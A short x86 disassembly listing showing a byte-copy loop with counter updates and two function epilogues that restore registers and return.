mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x44a934
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x44a934
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x44a8d0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x44a8c1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret